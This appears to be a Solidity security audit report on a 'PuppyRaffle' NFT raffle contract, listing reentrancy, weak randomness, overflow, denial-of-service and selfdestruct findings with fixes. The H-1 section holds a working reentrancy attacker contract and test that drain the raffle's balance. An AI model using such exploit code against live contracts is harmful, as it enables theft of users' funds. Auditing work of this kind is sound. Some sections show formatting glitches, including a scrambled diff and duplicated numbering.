Puppy Raffle Audit Report

Version 1.0

Cyfrin.io

January 19, 2026

Puppy Raffle Audit Report

fervidflame

January 16, 2026

Prepared by: fervidflame Lead Auditors: fervidflame

Table of Contents

    * **[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants.**
    * **[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals**
    * **[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees.**
    * **[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest.**
  - Low
    * **[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.**
  - Informational
    * **[I-1] Test Coverage.**
    * **[I-2]: Solidity pragma should be specific, not wide**
    * **[I-3] Outdated versions of Solidity do not provide built-in overflow checks and is therefore not recommended.**
    * **[I-3]: Missing checks for `address(0)` when assigning values to address state variables**
    * **[I-4] `PuppyRaffle::selecWinner` does not follow CEI, which is not a best practice**
    * **[I-5] Use of "magic" numbers is discouraged**
    * **[I-6] State Changes are Missing Events**
    * **[I-7] `_isActivePlayer` is never used and should be removed**
    * **[I-8] Potentially erroneous active player index.**
    * **[I-9] Zero address may be erroneously considered an active player.**
  - Gas
    * **[G-1] Unchanging state variables should be declared as constant or immutable**
    * **[G-2] Storage arrays in a loop should be cached.**

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

The fervidflame team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Table 1: We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

- In Scope:

```
./src/
PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Table 2: List and quantity of severities.

Severity	Number of issues found
High	3
Medium	4
Low	1
Info	9
Gas	2
Total	19

Findings

High

[H-1] Reentrancy attack in `PuupyRaffle::refund` allows entrant to drain the raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);
@>        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player hwo has eneterd the raffle, could have a `fallback`/`receive` function that calls the function again and claim another refund. They could contine the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept (Proof of Code):

1. User enteres the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Add the following to `PuppyRaffle.t.sol`

```

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Add this function to `PuppyRaffle.t.sol` as well.

```

function test__reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        console.log("Attacker Contract Balance Before Attack: ",
            startingAttackContractBalance);
        console.log("Puppy Raffle Balance Before Attack: ",
            startingPuppyRaffleBalance);
        console.log("Attacker Contract Balance After Attack: ", address
            (attackerContract).balance);
        console.log("Puppy Raffle Balance After Attack: ", address(
            puppyRaffle).balance);
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event `RaffleRefunded(playerAddress)` emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

-        payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
+       payable(msg.sender).sendValue(entranceFee);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy NFT

Description: Hashing `msg.sender`, `block`, `timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:** This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy NFT. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept (Proof of Code):

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!

3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```

uint64 myVar = type(uint64).max

// 18446744073709551615

myVar = myVar + 1

// myVar will be 0
```

Impact:

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept (Proof of Code):

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be both fees per raffle added together: "‘js totalFees = totalFees + uint64(fee);

   ```
   // substituted

   totalFees = 800000000000000000 + 17800000000000000000;

   // due to overflow, the following is now the case

   totalFees = 153255926290448384;
   ```

   "‘

4. You will not be able to withdraw due to the line in PuppyRaffle::withdrawFees:

   ```
   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
   ```

   Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Proof of Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
           players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
           second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
           require check
        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```

- pragma solidity ^0.7.6;

+ pragma solidity ^0.8.18;
```

2. Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows; however, you would still have a hard time with the `uint64` type if too many fees are collected.
3. Use a `uint256` instead of a `uint64` for `totalFees`.

```

- uint64 public totalFees = 0;

+ uint256 public totalFees = 0;
```

4. Remove the balance check in `PuppyRaffle::withdrawFees`

```

- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```

  // @audit DOS Attack
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                   Duplicate player");
            }
        }
```

Impact: The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept (Proof of Code):

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252048 gas
- 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

Proof of Code

```

function testDenialOfService() public {

// Foundry lets us set a gas price

vm.txGasPrice(1);

// Creates 100 addresses

uint256 playersNum = 100;

address[] memory players = new address[](playersNum);

for (uint256 i = 0; i < players.length; i++) {

players[i] = address(i);

}

// Gas calculations for first 100 players

uint256 gasStart = gasleft();

puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

uint256 gasEnd = gasleft();

uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

console.log("Gas cost of the first 100 players: ", gasUsedFirst);

// Creates another array of 100 players

address[] memory playersTwo = new address[](playersNum);

for (uint256 i = 0; i < playersTwo.length; i++) {

playersTwo[i] = address(i + playersNum);

}

// Gas calculations for second 100 players

uint256 gasStartTwo = gasleft();

puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo
    );

uint256 gasEndTwo = gasleft();

uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;

console.log("Gas cost of the second 100 players: ", gasUsedSecond);

assert(gasUsedSecond > gasUsedFirst);

}
```

Recommended Mitigation: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

~~~
<details>

<summary>Proof of Code</summary>

```diff
+ mapping(address => uint256) public addressToRaffleId;
- uint256 public raffleId = 0;

    .

    .

    .

    function enterRaffle(address[] memory newPlayers) public payable {

    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
        Must send enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {

    players.push(newPlayers[i]);

+             addressToRaffleId[newPlayers[i]] = raffleId;

    }

- // Check for duplicates

+         // Check for duplicates only from the new players
~~~

```

+       for (uint256 i = 0; i < newPlayers.length; i++) {

+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");

+       }

    for (uint256 i = 0; i < players.length; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
    require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
    }

    emit RaffleEnter(newPlayers);

    }

    .

    .

    .

    function selectWinner() external {

    +       raffleId = raffleId + 1;

    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
    }

    ```

</details>
```

3. Alternatively, you could use OpenZeppelin's EnumerableSet library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.
```

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees.

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

```
-        totalFees = totalFees + uint64(fee);
+        totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check in the loop array in `PuppyRaffle::enterRaffle`.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended because ideally, we wouldl want multi-sigs wallets to participate in this protocol).
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the onus on the winner to claim their prize. (Recommended. Why? This is design pattern known as Pull over Push, where ideally, the user is making a request for funds, instead of a protocol distributing them.)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
    function getActivePlayerIndex(address player) external view returns
         (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept (Proof of Code): 1. User enters the raffle, they are the first entrant

2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Test Coverage.

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

Table 3: Test Coverage

File	% Lines	% Statements	% Branches	% Funcs
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	100.00% (0/0)	0.00% (0/1)
src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)	66.67% (20/30)	77.78% (7/9)
test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)	50.00% (1/2)	100.00% (2/2)

File	% Lines	% Statements	% Branches	% Funcs
Total	80.60% (54/67)	81.52% (75/92)	65.62% (21/32)	75.00% (9/12)

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-2]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-3] Outdated versions of Solidity do not provide built-in overflow checks and is therefore not recommended.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with any of the following Solidity versions:

0.8.18

The recommendations take into account:

Risks related to recent releases

Risks of complex code generation changes

Risks of new language features

Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 77

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 243

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selecWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");

_safeMint(winner, tokenId);

+   (bool success,) = winner.call{value: prizePool}("");

+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```

uint256 public constant PRIZE_POOL_PERCENTAGE = 80;

uint256 public constant FEE_PERCENTAGE = 20;

uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;

uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function
- `PuppyRaffle::_safeMint` within the `selectWinner` function
- `PuppyRaffle::prizePool` within the `selectWinner` function

[I-7] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```

-    function _isActivePlayer() internal view returns (bool) {

-        for (uint256 i = 0; i < players.length; i++) {

-            if (players[i] == msg.sender) {

-                return true;

-            }

-        }

-        return false;

-    }
```

[I-8] Potentially erroneous active player index.

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-9] Zero address may be erroneously considered an active player.

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can never be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

[G-1] Unchanging state variables should be declared as constant or immutable

Description: State variables that are not updated following deployment should be declared constant or immutable to save gas.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

Recommended Mitigation: Add the constant attribute to state variables that never change. Add the immutable attribute to state variables that never change or are set only in the constructor.

[G-2] Storage arrays in a loop should be cached.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```

+ uint256 playersLength = players.length;

- for (uint256 i = 0; i < players.length - 1; i++) {

+ for (uint256 i = 0; i < playersLength - 1; i++) {

- for (uint256 j = i + 1; j < players.length; j++) {

+    for (uint256 j = i + 1; j < playersLength; j++) {

require(players[i] != players[j], "PuppyRaffle: Duplicate player");

}

}
```